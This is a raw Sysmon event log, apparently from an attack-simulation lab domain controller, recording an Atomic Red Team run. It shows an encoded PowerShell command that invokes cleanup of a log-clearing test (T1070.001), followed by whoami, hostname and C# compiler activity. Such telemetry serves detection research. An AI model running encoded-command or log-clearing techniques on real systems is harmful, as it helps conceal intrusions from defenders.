871 10341000x80000000000000004470Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004469Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004468Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2922-5F80-EA00-000000007F01}1396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004467Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2922-5F80-EA00-000000007F01}1396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c242b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c18d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+ffffe500|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+ffffe500|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f8363(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d413c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d3e0d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd485472(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f2e72(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d6368(wow64) 154100x80000000000000004466Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.707{A5F018FF-2922-5F80-EA00-000000007F01}1396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\5md1qhml\5md1qhml.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbABlAGEAbgB1AHAA 11241100x80000000000000004465Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\5md1qhml\5md1qhml.cmdline2020-10-09 09:10:58.703 11241100x80000000000000004464Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:58.703{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\5md1qhml\5md1qhml.dll2020-10-09 09:10:58.703 10341000x80000000000000004463Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2922-5F80-E900-000000007F01}4244C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004462Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004461Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004460Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004459Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004458Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004457Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004456Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004455Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004454Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004453Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2922-5F80-E900-000000007F01}4244C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004452Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2922-5F80-E900-000000007F01}4244C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd5332b2(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d413c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d3e0d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd485472(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f2e72(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d6368(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9c82ed(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d4820(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d43bc(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d413c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d3e0d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd485472(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64) 154100x80000000000000004451Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.540{A5F018FF-2922-5F80-E900-000000007F01}4244C:\Windows\System32\whoami.exe10.0.14393.0 (rs1_release.160715-1616)whoami - displays logged on user informationMicrosoft® Windows® Operating SystemMicrosoft Corporationwhoami.exe"C:\Windows\system32\whoami.exe"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbABlAGEAbgB1AHAA 10341000x80000000000000004450Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2922-5F80-E800-000000007F01}3000C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004449Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004448Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 